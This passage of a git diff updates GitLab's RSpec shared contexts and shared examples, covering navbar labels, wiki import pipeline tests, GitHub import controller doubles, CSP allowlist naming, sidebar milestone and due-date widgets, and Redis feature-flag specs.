+ "/#{project.full_path}/-/wikis/#{project_wiki_page.slug}/preview_markdown"
+ when nil
+ api "/markdown"
+ else
+ raise "Error: 'context' extension was '#{api_context}'. It must be one of: #{supported_api_contexts.join(',')}"
+ end
+ end
+end
diff --git a/spec/support/shared_contexts/navbar_structure_context.rb b/spec/support/shared_contexts/navbar_structure_context.rb
index bcc6abdc308..085f1f13c2c 100644
--- a/spec/support/shared_contexts/navbar_structure_context.rb
+++ b/spec/support/shared_contexts/navbar_structure_context.rb
@@ -5,7 +5,7 @@ RSpec.shared_context 'project navbar structure' do
{
nav_item: _('Security & Compliance'),
nav_sub_items: [
- (_('Audit Events') if Gitlab.ee?),
+ (_('Audit events') if Gitlab.ee?),
_('Configuration')
]
}
@@ -94,11 +94,11 @@ RSpec.shared_context 'project navbar structure' do
{
nav_item: _('Analytics'),
nav_sub_items: [
+ _('Value stream'),
_('CI/CD'),
(_('Code review') if Gitlab.ee?),
(_('Merge request') if Gitlab.ee?),
- _('Repository'),
- _('Value stream')
+ _('Repository')
]
},
{
@@ -165,7 +165,7 @@ RSpec.shared_context 'group navbar structure' do
{
nav_item: _('Security & Compliance'),
nav_sub_items: [
- _('Audit Events')
+ _('Audit events')
]
}
end
@@ -190,7 +190,8 @@ RSpec.shared_context 'group navbar structure' do
[
_('List'),
_('Board'),
- _('Milestones')
+ _('Milestones'),
+ (_('Iterations') if Gitlab.ee?)
]
end
diff --git a/spec/support/shared_contexts/policies/group_policy_shared_context.rb b/spec/support/shared_contexts/policies/group_policy_shared_context.rb
index b432aa24bb8..ad6462dc367 100644
--- a/spec/support/shared_contexts/policies/group_policy_shared_context.rb
+++ b/spec/support/shared_contexts/policies/group_policy_shared_context.rb
@@ -48,6 +48,7 @@ RSpec.shared_context 'GroupPolicy context' do
destroy_package
create_projects
read_cluster create_cluster update_cluster admin_cluster add_cluster
+ admin_group_runners
]
end
diff --git a/spec/support/shared_examples/bulk_imports/common/pipelines/wiki_pipeline_examples.rb b/spec/support/shared_examples/bulk_imports/common/pipelines/wiki_pipeline_examples.rb
index e8cc666605b..06800f7cded 100644
--- a/spec/support/shared_examples/bulk_imports/common/pipelines/wiki_pipeline_examples.rb
+++ b/spec/support/shared_examples/bulk_imports/common/pipelines/wiki_pipeline_examples.rb
@@ -9,16 +9,18 @@ RSpec.shared_examples 'wiki pipeline imports a wiki for an entity' do
let(:extracted_data) { BulkImports::Pipeline::ExtractedData.new(data: {}) }
- context 'successfully imports wiki for an entity' do
- subject { described_class.new(context) }
+ subject { described_class.new(context) }
- before do
- allow_next_instance_of(BulkImports::Common::Extractors::GraphqlExtractor) do |extractor|
- allow(extractor).to receive(:extract).and_return(extracted_data)
- end
+ before do
+ allow_next_instance_of(BulkImports::Common::Extractors::GraphqlExtractor) do |extractor|
+ allow(extractor).to receive(:extract).and_return(extracted_data)
end
+ end
+ context 'when wiki exists' do
it 'imports new wiki into destination project' do
+ expect(subject).to receive(:source_wiki_exists?).and_return(true)
+
expect_next_instance_of(Gitlab::GitalyClient::RepositoryService) do |repository_service|
url = "https://oauth2:token@gitlab.example/#{entity.source_full_path}.wiki.git"
expect(repository_service).to receive(:fetch_remote).with(url, any_args).and_return 0
@@ -27,5 +29,16 @@ RSpec.shared_examples 'wiki pipeline imports a wiki for an entity' do
subject.run
end
end
+
+ context 'when wiki does not exist' do
+ it 'does not import wiki' do
+ expect(subject).to receive(:source_wiki_exists?).and_return(false)
+
+ expect(parent.wiki).not_to receive(:ensure_repository)
+ expect(parent.wiki.repository).not_to receive(:ensure_repository)
+
+ expect { subject.run }.not_to raise_error
+ end
+ end
end
end
diff --git a/spec/support/shared_examples/ci/create_pipeline_service_shared_examples.rb b/spec/support/shared_examples/ci/create_pipeline_service_shared_examples.rb
new file mode 100644
index 00000000000..a72ce320e90
--- /dev/null
+++ b/spec/support/shared_examples/ci/create_pipeline_service_shared_examples.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'pipelines are created without N+1 SQL queries' do
+ before do
+ # warm up
+ stub_ci_pipeline_yaml_file(config1)
+ execute_service
+ end
+
+ it 'avoids N+1 queries', :aggregate_failures, :request_store, :use_sql_query_cache do
+ control = ActiveRecord::QueryRecorder.new(skip_cached: false) do
+ stub_ci_pipeline_yaml_file(config1)
+
+ pipeline = execute_service.payload
+
+ expect(pipeline).to be_created_successfully
+ end
+
+ expect do
+ stub_ci_pipeline_yaml_file(config2)
+
+ pipeline = execute_service.payload
+
+ expect(pipeline).to be_created_successfully
+ end.not_to exceed_all_query_limit(control).with_threshold(accepted_n_plus_ones)
+ end
+end
diff --git a/spec/support/shared_examples/controllers/githubish_import_controller_shared_examples.rb b/spec/support/shared_examples/controllers/githubish_import_controller_shared_examples.rb
index 0ffa32dec9e..46fc2cbdc9b 100644
--- a/spec/support/shared_examples/controllers/githubish_import_controller_shared_examples.rb
+++ b/spec/support/shared_examples/controllers/githubish_import_controller_shared_examples.rb
@@ -58,11 +58,12 @@ RSpec.shared_examples 'a GitHub-ish import controller: GET new' do
end
RSpec.shared_examples 'a GitHub-ish import controller: GET status' do
+ let(:repo_fake) { Struct.new(:id, :login, :full_name, :name, :owner, keyword_init: true) }
let(:new_import_url) { public_send("new_import_#{provider}_url") }
let(:user) { create(:user) }
- let(:repo) { OpenStruct.new(login: 'vim', full_name: 'asd/vim', name: 'vim', owner: { login: 'owner' }) }
- let(:org) { OpenStruct.new(login: 'company') }
- let(:org_repo) { OpenStruct.new(login: 'company', full_name: 'company/repo', name: 'repo', owner: { login: 'owner' }) }
+ let(:repo) { repo_fake.new(login: 'vim', full_name: 'asd/vim', name: 'vim', owner: { login: 'owner' }) }
+ let(:org) { double('org', login: 'company') }
+ let(:org_repo) { repo_fake.new(login: 'company', full_name: 'company/repo', name: 'repo', owner: { login: 'owner' }) }
before do
assign_session_token(provider)
@@ -72,7 +73,7 @@ RSpec.shared_examples 'a GitHub-ish import controller: GET status' do
project = create(:project, import_type: provider, namespace: user.namespace, import_status: :finished, import_source: 'example/repo')
group = create(:group)
group.add_owner(user)
- stub_client(repos: [repo, org_repo], orgs: [org], org_repos: [org_repo], each_page: [OpenStruct.new(objects: [repo, org_repo])].to_enum)
+ stub_client(repos: [repo, org_repo], orgs: [org], org_repos: [org_repo], each_page: [double('client', objects: [repo, org_repo])].to_enum)
get :status, format: :json
@@ -125,7 +126,7 @@ RSpec.shared_examples 'a GitHub-ish import controller: GET status' do
end
context 'when filtering' do
- let(:repo_2) { OpenStruct.new(login: 'emacs', full_name: 'asd/emacs', name: 'emacs', owner: { login: 'owner' }) }
+ let(:repo_2) { repo_fake.new(login: 'emacs', full_name: 'asd/emacs', name: 'emacs', owner: { login: 'owner' }) }
let(:project) { create(:project, import_type: provider, namespace: user.namespace, import_status: :finished, import_source: 'example/repo') }
let(:group) { create(:group) }
let(:repos) { [repo, repo_2, org_repo] }
@@ -133,7 +134,7 @@ RSpec.shared_examples 'a GitHub-ish import controller: GET status' do
before do
group.add_owner(user)
client = stub_client(repos: repos, orgs: [org], org_repos: [org_repo])
- allow(client).to receive(:each_page).and_return([OpenStruct.new(objects: repos)].to_enum)
+ allow(client).to receive(:each_page).and_return([double('client', objects: repos)].to_enum)
# GitHub controller has filtering done using GitHub Search API
stub_feature_flags(remove_legacy_github_client: false)
end
@@ -172,7 +173,7 @@ RSpec.shared_examples 'a GitHub-ish import controller: GET status' do
repos = [build(:project, name: 2, path: 'test')]
client = stub_client(repos: repos)
- allow(client).to receive(:each_page).and_return([OpenStruct.new(objects: repos)].to_enum)
+ allow(client).to receive(:each_page).and_return([double('client', objects: repos)].to_enum)
end
it 'does not raise an error' do
@@ -189,13 +190,14 @@ end
RSpec.shared_examples 'a GitHub-ish import controller: POST create' do
let(:user) { create(:user) }
let(:provider_username) { user.username }
- let(:provider_user) { OpenStruct.new(login: provider_username) }
+ let(:provider_user) { double('user', login: provider_username) }
let(:project) { create(:project, import_type: provider, import_status: :finished, import_source: "#{provider_username}/vim") }
let(:provider_repo) do
- OpenStruct.new(
+ double(
+ 'provider',
name: 'vim',
full_name: "#{provider_username}/vim",
- owner: OpenStruct.new(login: provider_username)
+ owner: double('owner', login: provider_username)
)
end
@@ -265,10 +267,9 @@ RSpec.shared_examples 'a GitHub-ish import controller: POST create' do
end
context "when the repository owner is not the provider user" do
- let(:other_username) { "someone_else" }
+ let(:provider_username) { "someone_else" }
before do
- provider_repo.owner = OpenStruct.new(login: other_username)
assign_session_token(provider)
end
@@ -277,8 +278,7 @@ RSpec.shared_examples 'a GitHub-ish import controller: POST create' do
context "when the namespace is owned by the GitLab user" do
before do
- user.username = other_username
- user.save!
+ user.update!(username: provider_username)
end
it "takes the existing namespace" do
@@ -292,7 +292,7 @@ RSpec.shared_examples 'a GitHub-ish import controller: POST create' do
context "when the namespace is not owned by the GitLab user" do
it "creates a project using user's namespace" do
- create(:user, username: other_username)
+ create(:user, username: provider_username)
expect(Gitlab::LegacyGithubImport::ProjectCreator)
.to receive(:new).with(provider_repo, provider_repo.name, user.namespace, user, type: provider, **access_params)
diff --git a/spec/support/shared_examples/controllers/repositories/git_http_controller_shared_examples.rb b/spec/support/shared_examples/controllers/repositories/git_http_controller_shared_examples.rb
index 00a0fb7e4c5..3a7588a5cc9 100644
--- a/spec/support/shared_examples/controllers/repositories/git_http_controller_shared_examples.rb
+++ b/spec/support/shared_examples/controllers/repositories/git_http_controller_shared_examples.rb
@@ -50,7 +50,8 @@ RSpec.shared_examples Repositories::GitHttpController do
context 'with authorized user' do
before do
- request.headers.merge! auth_env(user.username, user.password, nil)
+ password = user.try(:password) || user.try(:token)
+ request.headers.merge! auth_env(user.username, password, nil)
end
it 'returns 200' do
@@ -71,9 +72,10 @@ RSpec.shared_examples Repositories::GitHttpController do
it 'adds user info to the logs' do
get :info_refs, params: params
- expect(log_data).to include('username' => user.username,
- 'user_id' => user.id,
- 'meta.user' => user.username)
+ user_log_data = { 'username' => user.username, 'user_id' => user.id }
+ user_log_data['meta.user'] = user.username if user.is_a?(User)
+
+ expect(log_data).to include(user_log_data)
end
end
end
diff --git a/spec/support/shared_examples/controllers/unique_visits_shared_examples.rb b/spec/support/shared_examples/controllers/unique_visits_shared_examples.rb
index 30914e61df0..ac7680f7ddb 100644
--- a/spec/support/shared_examples/controllers/unique_visits_shared_examples.rb
+++ b/spec/support/shared_examples/controllers/unique_visits_shared_examples.rb
@@ -6,15 +6,23 @@ RSpec.shared_examples 'tracking unique visits' do |method|
let(:request_params) { {} }
it 'tracks unique visit if the format is HTML' do
- expect(Gitlab::UsageDataCounters::HLLRedisCounter)
- .to receive(:track_event).with(target_id, values: kind_of(String))
+ ids = target_id.instance_of?(String) ? [target_id] : target_id
+
+ ids.each do |id|
+ expect(Gitlab::UsageDataCounters::HLLRedisCounter)
+ .to receive(:track_event).with(id, values: kind_of(String))
+ end
get method, params: request_params, format: :html
end
it 'tracks unique visit if DNT is not enabled' do
- expect(Gitlab::UsageDataCounters::HLLRedisCounter)
- .to receive(:track_event).with(target_id, values: kind_of(String))
+ ids = target_id.instance_of?(String) ? [target_id] : target_id
+
+ ids.each do |id|
+ expect(Gitlab::UsageDataCounters::HLLRedisCounter)
+ .to receive(:track_event).with(id, values: kind_of(String))
+ end
stub_do_not_track('0')
diff --git a/spec/support/shared_examples/controllers/wiki_actions_shared_examples.rb b/spec/support/shared_examples/controllers/wiki_actions_shared_examples.rb
index 30710e43357..1cb52c07069 100644
--- a/spec/support/shared_examples/controllers/wiki_actions_shared_examples.rb
+++ b/spec/support/shared_examples/controllers/wiki_actions_shared_examples.rb
@@ -299,7 +299,7 @@ RSpec.shared_examples 'wiki controller actions' do
expect(response.headers['Content-Disposition']).to match(/^inline/)
expect(response.headers[Gitlab::Workhorse::DETECT_HEADER]).to eq('true')
expect(response.cache_control[:public]).to be(false)
- expect(response.headers['Cache-Control']).to eq('private, no-store')
+ expect(response.headers['Cache-Control']).to eq('max-age=60, private')
end
end
end
diff --git a/spec/support/shared_examples/csp.rb b/spec/support/shared_examples/csp.rb
index c4a8c7df898..9143d0f4720 100644
--- a/spec/support/shared_examples/csp.rb
+++ b/spec/support/shared_examples/csp.rb
@@ -28,7 +28,7 @@ RSpec.shared_examples 'setting CSP' do |rule_name|
context 'when feature is enabled' do
it "appends to #{rule_name}" do
- is_expected.to eql("#{rule_name} #{default_csp_values} #{whitelisted_url}")
+ is_expected.to eql("#{rule_name} #{default_csp_values} #{allowlisted_url}")
end
end
@@ -46,7 +46,7 @@ RSpec.shared_examples 'setting CSP' do |rule_name|
context 'when feature is enabled' do
it "uses default-src values in #{rule_name}" do
- is_expected.to eql("default-src #{default_csp_values}; #{rule_name} #{default_csp_values} #{whitelisted_url}")
+ is_expected.to eql("default-src #{default_csp_values}; #{rule_name} #{default_csp_values} #{allowlisted_url}")
end
end
@@ -64,7 +64,7 @@ RSpec.shared_examples 'setting CSP' do |rule_name|
context 'when feature is enabled' do
it "uses default-src values in #{rule_name}" do
- is_expected.to eql("font-src #{default_csp_values}; #{rule_name} #{whitelisted_url}")
+ is_expected.to eql("font-src #{default_csp_values}; #{rule_name} #{allowlisted_url}")
end
end
diff --git a/spec/support/shared_examples/features/page_description_shared_examples.rb b/spec/support/shared_examples/features/page_description_shared_examples.rb
index 81653220b4c..e3ea36633d1 100644
--- a/spec/support/shared_examples/features/page_description_shared_examples.rb
+++ b/spec/support/shared_examples/features/page_description_shared_examples.rb
@@ -7,3 +7,13 @@ RSpec.shared_examples 'page meta description' do |expected_description|
end
end
end
+
+RSpec.shared_examples 'default brand title page meta description' do
+ include AppearancesHelper
+
+ it 'renders the page with description, og:description, and twitter:description meta tags with the default brand title', :aggregate_failures do
+ %w(name='description' property='og:description' property='twitter:description').each do |selector|
+ expect(page).to have_selector("meta[#{selector}][content='#{default_brand_title}']", visible: false)
+ end
+ end
+end
diff --git a/spec/support/shared_examples/features/sidebar/sidebar_due_date_shared_examples.rb b/spec/support/shared_examples/features/sidebar/sidebar_due_date_shared_examples.rb
new file mode 100644
index 00000000000..345dfbce423
--- /dev/null
+++ b/spec/support/shared_examples/features/sidebar/sidebar_due_date_shared_examples.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'date sidebar widget' do
+ context 'editing due date' do
+ let(:due_date_value) { find('[data-testid="sidebar-due-date"] [data-testid="sidebar-date-value"]') }
+
+ around do |example|
+ freeze_time { example.run }
+ end
+
+ it 'displays "None" when there is no due date' do
+ expect(due_date_value.text).to have_content 'None'
+ end
+
+ it 'updates due date' do
+ page.within('[data-testid="sidebar-due-date"]') do
+ today = Date.today.day
+
+ click_button 'Edit'
+
+ click_button today.to_s
+
+ wait_for_requests
+
+ expect(page).to have_content(today.to_s(:medium))
+ expect(due_date_value.text).to have_content Time.current.strftime('%b %-d, %Y')
+ end
+ end
+ end
+end
diff --git a/spec/support/shared_examples/features/sidebar/sidebar_milestone_shared_examples.rb b/spec/support/shared_examples/features/sidebar/sidebar_milestone_shared_examples.rb
new file mode 100644
index 00000000000..da730240e8e
--- /dev/null
+++ b/spec/support/shared_examples/features/sidebar/sidebar_milestone_shared_examples.rb
@@ -0,0 +1,60 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'milestone sidebar widget' do
+ context 'editing milestone' do
+ let_it_be(:milestone_expired) { create(:milestone, project: project, title: 'Foo - expired', due_date: 5.days.ago) }
+ let_it_be(:milestone_no_duedate) { create(:milestone, project: project, title: 'Foo - No due date') }
+ let_it_be(:milestone1) { create(:milestone, project: project, title: 'Milestone-1', due_date: 20.days.from_now) }
+ let_it_be(:milestone2) { create(:milestone, project: project, title: 'Milestone-2', due_date: 15.days.from_now) }
+ let_it_be(:milestone3) { create(:milestone, project: project, title: 'Milestone-3', due_date: 10.days.from_now) }
+
+ let(:milestone_widget) { find('[data-testid="sidebar-milestones"]') }
+
+ before do
+ within(milestone_widget) do
+ click_button 'Edit'
+ end
+
+ wait_for_all_requests
+ end
+
+ it 'shows milestones list in the dropdown' do
+ # 5 milestones + "No milestone" = 6 items
+ expect(milestone_widget.find('.gl-new-dropdown-contents')).to have_selector('li.gl-new-dropdown-item', count: 6)
+ end
+
+ it 'shows expired milestone at the bottom of the list and milestone due earliest at the top of the list', :aggregate_failures do
+ within(milestone_widget, '.gl-new-dropdown-contents') do
+ expect(page.find('li:last-child')).to have_content milestone_expired.title
+
+ [milestone3, milestone2, milestone1, milestone_no_duedate].each_with_index do |m, i|
+ expect(page.all('li.gl-new-dropdown-item')[i + 1]).to have_content m.title
+ end
+ end
+ end
+
+ it 'adds a milestone' do
+ within(milestone_widget) do
+ click_button milestone1.title
+
+ wait_for_requests
+
+ page.within('[data-testid="select-milestone"]') do
+ expect(page).to have_content(milestone1.title)
+ end
+ end
+ end
+
+ it 'removes a milestone' do
+ within(milestone_widget) do
+ click_button "No milestone"
+
+ wait_for_requests
+
+ page.within('[data-testid="select-milestone"]') do
+ expect(page).not_to have_content(milestone1.title)
+ end
+ end
+ end
+ end
+end
diff --git a/spec/support/shared_examples/features/sidebar_shared_examples.rb b/spec/support/shared_examples/features/sidebar_shared_examples.rb
index d509d124de0..615f568420e 100644
--- a/spec/support/shared_examples/features/sidebar_shared_examples.rb
+++ b/spec/support/shared_examples/features/sidebar_shared_examples.rb
@@ -5,6 +5,7 @@ RSpec.shared_examples 'issue boards sidebar' do
before do
first_card.click
+ wait_for_requests
end
it 'shows sidebar when clicking issue' do
@@ -41,6 +42,14 @@ RSpec.shared_examples 'issue boards sidebar' do
end
end
+ context 'editing issue milestone', :js do
+ it_behaves_like 'milestone sidebar widget'
+ end
+
+ context 'editing issue due date', :js do
+ it_behaves_like 'date sidebar widget'
+ end
+
context 'in notifications subscription' do
it 'displays notifications toggle', :aggregate_failures do
page.within('[data-testid="sidebar-notifications"]') do
diff --git a/spec/support/shared_examples/features/snippets_shared_examples.rb b/spec/support/shared_examples/features/snippets_shared_examples.rb
index bd1a67f3bb5..c402333107c 100644
--- a/spec/support/shared_examples/features/snippets_shared_examples.rb
+++ b/spec/support/shared_examples/features/snippets_shared_examples.rb
@@ -20,7 +20,7 @@ RSpec.shared_examples 'paginated snippets' do |remote: false|
end
RSpec.shared_examples 'tabs with counts' do
- let(:tabs) { page.all('.snippet-scope-menu li') }
+ let(:tabs) { page.all('.js-snippets-nav-tabs li') }
it 'shows a tab for All snippets and count' do
tab = tabs[0]
diff --git a/spec/support/shared_examples/features/wiki/user_updates_wiki_page_shared_examples.rb b/spec/support/shared_examples/features/wiki/user_updates_wiki_page_shared_examples.rb
index 7ced8508a31..a456b76b324 100644
--- a/spec/support/shared_examples/features/wiki/user_updates_wiki_page_shared_examples.rb
+++ b/spec/support/shared_examples/features/wiki/user_updates_wiki_page_shared_examples.rb
@@ -138,11 +138,26 @@ RSpec.shared_examples 'User updates wiki page' do
end
context 'when using the content editor' do
- before do
- click_button 'Use the new editor'
+ context 'with feature flag on' do
+ before do
+ click_button 'Edit rich text'
+ end
+
+ it_behaves_like 'edits content using the content editor'
end
- it_behaves_like 'edits content using the content editor'
+ context 'with feature flag off' do
+ before do
+ stub_feature_flags(wiki_switch_between_content_editor_raw_markdown: false)
+ visit(wiki_path(wiki))
+
+ click_link('Edit')
+
+ click_button 'Use the new editor'
+ end
+
+ it_behaves_like 'edits content using the content editor'
+ end
end
end
diff --git a/spec/support/shared_examples/features/wiki/user_views_wiki_page_shared_examples.rb b/spec/support/shared_examples/features/wiki/user_views_wiki_page_shared_examples.rb
index 96df5a5f972..eec911f3b6f 100644
--- a/spec/support/shared_examples/features/wiki/user_views_wiki_page_shared_examples.rb
+++ b/spec/support/shared_examples/features/wiki/user_views_wiki_page_shared_examples.rb
@@ -161,7 +161,7 @@ RSpec.shared_examples 'User views a wiki page' do
commit = wiki.commit
visit wiki_page_path(wiki, wiki_page, version_id: commit, action: :diff)
- expect(page).to have_content('by John Doe')
+ expect(page).to have_content('by Sidney Jones')
expect(page).to have_content('updated home')
expect(page).to have_content('Showing 1 changed file with 1 addition and 3 deletions')
expect(page).to have_content('some link')
@@ -174,7 +174,7 @@ RSpec.shared_examples 'User views a wiki page' do
commit = wiki.commit('HEAD^')
visit wiki_page_path(wiki, wiki_page, version_id: commit, action: :diff)
- expect(page).to have_content('by John Doe')
+ expect(page).to have_content('by Sidney Jones')
expect(page).to have_content('updated home')
expect(page).to have_content('Showing 1 changed file with 1 addition and 3 deletions')
expect(page).to have_content('some link')
@@ -188,7 +188,7 @@ RSpec.shared_examples 'User views a wiki page' do
commit = wiki.commit('HEAD^')
visit wiki_page_path(wiki, wiki_page, version_id: commit, action: :diff)
- expect(page).to have_content('by John Doe')
+ expect(page).to have_content('by Sidney Jones')
expect(page).to have_content('created page: home')
expect(page).to have_content('Showing 1 changed file with 4 additions and 0 deletions')
expect(page).to have_content('Look at this')
diff --git a/spec/support/shared_examples/lib/gitlab/background_migration/mentions_migration_shared_examples.rb b/spec/support/shared_examples/lib/gitlab/background_migration/mentions_migration_shared_examples.rb
deleted file mode 100644
index 7707e79386c..00000000000
--- a/spec/support/shared_examples/lib/gitlab/background_migration/mentions_migration_shared_examples.rb
+++ /dev/null
@@ -1,108 +0,0 @@
-# frozen_string_literal: true
-
-RSpec.shared_examples 'resource mentions migration' do |migration_class, resource_class_name|
- it 'migrates resource mentions' do
- join = migration_class::JOIN
- conditions = migration_class::QUERY_CONDITIONS
- resource_class = "#{Gitlab::BackgroundMigration::UserMentions::Models}::#{resource_class_name}".constantize
-
- expect do
- subject.perform(resource_class_name, join, conditions, false, resource_class.minimum(:id), resource_class.maximum(:id))
- end.to change { user_mentions.count }.by(1)
-
- user_mention = user_mentions.last
- expect(user_mention.mentioned_users_ids.sort).to eq(mentioned_users.pluck(:id).sort)
- expect(user_mention.mentioned_groups_ids.sort).to eq([group.id])
- expect(user_mention.mentioned_groups_ids.sort).not_to include(inaccessible_group.id)
-
- # check that performing the same job twice does not fail and does not change counts
- expect do
- subject.perform(resource_class_name, join, conditions, false, resource_class.minimum(:id), resource_class.maximum(:id))
- end.to change { user_mentions.count }.by(0)
- end
-end
-
-RSpec.shared_examples 'resource notes mentions migration' do |migration_class, resource_class_name|
- it 'migrates mentions from note' do
- join = migration_class::JOIN
- conditions = migration_class::QUERY_CONDITIONS
-
- # there are 5 notes for each noteable_type, but two do not have mentions and
- # another one's noteable_id points to an inexistent resource
- expect(notes.where(noteable_type: resource_class_name).count).to eq 5
- expect(user_mentions.count).to eq 0
-
- expect do
- subject.perform(resource_class_name, join, conditions, true, Note.minimum(:id), Note.maximum(:id))
- end.to change { user_mentions.count }.by(2)
-
- # check that the user_mention for regular note is created
- user_mention = user_mentions.first
- expect(Note.find(user_mention.note_id).system).to be false
- expect(user_mention.mentioned_users_ids.sort).to eq(users.pluck(:id).sort)
- expect(user_mention.mentioned_groups_ids.sort).to eq([group.id])
- expect(user_mention.mentioned_groups_ids.sort).not_to include(inaccessible_group.id)
-
- # check that the user_mention for system note is created
- user_mention = user_mentions.second
- expect(Note.find(user_mention.note_id).system).to be true
- expect(user_mention.mentioned_users_ids.sort).to eq(users.pluck(:id).sort)
- expect(user_mention.mentioned_groups_ids.sort).to eq([group.id])
- expect(user_mention.mentioned_groups_ids.sort).not_to include(inaccessible_group.id)
-
- # check that performing the same job twice does not fail and does not change counts
- expect do
- subject.perform(resource_class_name, join, conditions, true, Note.minimum(:id), Note.maximum(:id))
- end.to change { user_mentions.count }.by(0)
- end
-end
-
-RSpec.shared_examples 'schedules resource mentions migration' do |resource_class, is_for_notes|
- before do
- stub_const("#{described_class.name}::BATCH_SIZE", 1)
- end
-
- it 'schedules background migrations' do
- Sidekiq::Testing.fake! do
- freeze_time do
- resource_count = is_for_notes ? Note.count : resource_class.count
- expect(resource_count).to eq 5
-
- migrate!
-
- migration = described_class::MIGRATION
- join = described_class::JOIN
- conditions = described_class::QUERY_CONDITIONS
- delay = described_class::DELAY
-
- expect(migration).to be_scheduled_delayed_migration(1 * delay, resource_class.name, join, conditions, is_for_notes, resource1.id, resource1.id)
- expect(migration).to be_scheduled_delayed_migration(2 * delay, resource_class.name, join, conditions, is_for_notes, resource2.id, resource2.id)
- expect(migration).to be_scheduled_delayed_migration(3 * delay, resource_class.name, join, conditions, is_for_notes, resource3.id, resource3.id)
- expect(BackgroundMigrationWorker.jobs.size).to eq 3
- end
- end
- end
-end
-
-RSpec.shared_examples 'resource migration not run' do |migration_class, resource_class_name|
- it 'does not migrate mentions' do
- join = migration_class::JOIN
- conditions = migration_class::QUERY_CONDITIONS
- resource_class = "#{Gitlab::BackgroundMigration::UserMentions::Models}::#{resource_class_name}".constantize
-
- expect do
- subject.perform(resource_class_name, join, conditions, false, resource_class.minimum(:id), resource_class.maximum(:id))
- end.to change { user_mentions.count }.by(0)
- end
-end
-
-RSpec.shared_examples 'resource notes migration not run' do |migration_class, resource_class_name|
- it 'does not migrate mentions' do
- join = migration_class::JOIN
- conditions = migration_class::QUERY_CONDITIONS
-
- expect do
- subject.perform(resource_class_name, join, conditions, true, Note.minimum(:id), Note.maximum(:id))
- end.to change { user_mentions.count }.by(0)
- end
-end
diff --git a/spec/support/shared_examples/lib/gitlab/cycle_analytics/event_shared_examples.rb b/spec/support/shared_examples/lib/gitlab/cycle_analytics/event_shared_examples.rb
index bd8bdd70ce5..bce889b454d 100644
--- a/spec/support/shared_examples/lib/gitlab/cycle_analytics/event_shared_examples.rb
+++ b/spec/support/shared_examples/lib/gitlab/cycle_analytics/event_shared_examples.rb
@@ -9,7 +9,7 @@ RSpec.shared_examples_for 'value stream analytics event' do
it { expect(described_class.identifier).to be_a_kind_of(Symbol) }
it { expect(instance.object_type.ancestors).to include(ApplicationRecord) }
it { expect(instance).to respond_to(:timestamp_projection) }
- it { expect(instance).to respond_to(:markdown_description) }
+ it { expect(instance).to respond_to(:html_description) }
it { expect(instance.column_list).to be_a_kind_of(Array) }
describe '#apply_query_customization' do
diff --git a/spec/support/shared_examples/lib/gitlab/import_export/attributes_permitter_shared_examples.rb b/spec/support/shared_examples/lib/gitlab/import_export/attributes_permitter_shared_examples.rb
index 41d3d76b66b..03344584361 100644
--- a/spec/support/shared_examples/lib/gitlab/import_export/attributes_permitter_shared_examples.rb
+++ b/spec/support/shared_examples/lib/gitlab/import_export/attributes_permitter_shared_examples.rb
@@ -1,6 +1,6 @@
# frozen_string_literal: true
RSpec.shared_examples 'a permitted attribute' do |relation_sym, permitted_attributes, additional_attributes = []|
- let(:prohibited_attributes) { %i[remote_url my_attributes my_ids token my_id test] }
+ let(:prohibited_attributes) { %w[remote_url my_attributes my_ids token my_id test] }
let(:import_export_config) { Gitlab::ImportExport::Config.new.to_h }
let(:project_relation_factory) { Gitlab::ImportExport::Project::RelationFactory }
@@ -8,7 +8,7 @@ RSpec.shared_examples 'a permitted attribute' do |relation_sym, permitted_attrib
let(:relation_hash) { (permitted_attributes + prohibited_attributes).map(&:to_s).zip([]).to_h }
let(:relation_name) { project_relation_factory.overrides[relation_sym]&.to_sym || relation_sym }
let(:relation_class) { project_relation_factory.relation_class(relation_name) }
- let(:excluded_keys) { import_export_config.dig(:excluded_keys, relation_sym) || [] }
+ let(:excluded_keys) { (import_export_config.dig(:excluded_attributes, relation_sym) || []).map(&:to_s) }
let(:cleaned_hash) do
Gitlab::ImportExport::AttributeCleaner.new(
@@ -18,7 +18,7 @@ RSpec.shared_examples 'a permitted attribute' do |relation_sym, permitted_attrib
).clean
end
- let(:permitted_hash) { subject.permit(relation_sym, relation_hash) }
+ let(:permitted_hash) { subject.permit(relation_sym, relation_hash).transform_keys { |k| k.to_s } }
if described_class.new.permitted_attributes_defined?(relation_sym)
it 'contains only attributes that are defined as permitted in the import/export config' do
@@ -26,11 +26,11 @@ RSpec.shared_examples 'a permitted attribute' do |relation_sym, permitted_attrib
end
it 'does not contain attributes that would be cleaned with AttributeCleaner' do
- expect(cleaned_hash.keys + additional_attributes.to_a).to include(*permitted_hash.keys)
+ expect(cleaned_hash.keys + additional_attributes.to_a.map(&:to_s)).to include(*permitted_hash.keys)
end
it 'does not contain prohibited attributes that are not related to given relation' do
- expect(permitted_hash.keys).not_to include(*prohibited_attributes.map(&:to_s))
+ expect(permitted_hash.keys).not_to include(*prohibited_attributes)
end
else
it 'is disabled' do
diff --git a/spec/support/shared_examples/lib/gitlab/redis/multi_store_feature_flags_shared_examples.rb b/spec/support/shared_examples/lib/gitlab/redis/multi_store_feature_flags_shared_examples.rb
new file mode 100644
index 00000000000..046c70bf779
--- /dev/null
+++ b/spec/support/shared_examples/lib/gitlab/redis/multi_store_feature_flags_shared_examples.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'multi store feature flags' do |use_primary_and_secondary_stores, use_primary_store_as_default|
+ context "with feature flag :#{use_primary_and_secondary_stores} is enabled" do
+ before do
+ stub_feature_flags(use_primary_and_secondary_stores => true)
+ end
+
+ it 'multi store is enabled' do
+ expect(subject.use_primary_and_secondary_stores?).to be true
+ end
+ end
+
+ context "with feature flag :#{use_primary_and_secondary_stores} is disabled" do
+ before do
+ stub_feature_flags(use_primary_and_secondary_stores => false)
+ end
+
+ it 'multi store is disabled' do
+ expect(subject.use_primary_and_secondary_stores?).to be false
+ end
+ end
+
+ context "with feature flag :#{use_primary_store_as_default} is enabled" do
+ before do
+ stub_feature_flags(use_primary_store_as_default => true)
+ end
+
+ it 'primary store is enabled' do
+ expect(subject.use_primary_store_as_default?).to be true
+ end
+ end
+
+ context "with feature flag :#{use_primary_store_as_default} is disabled" do
+ before do
+ stub_feature_flags(use_primary_store_as_default => false)
+ end
+
+ it 'primary store is disabled' do
+ expect(subject.use_primary_store_as_default?).to be false
+ end
+ end
+end
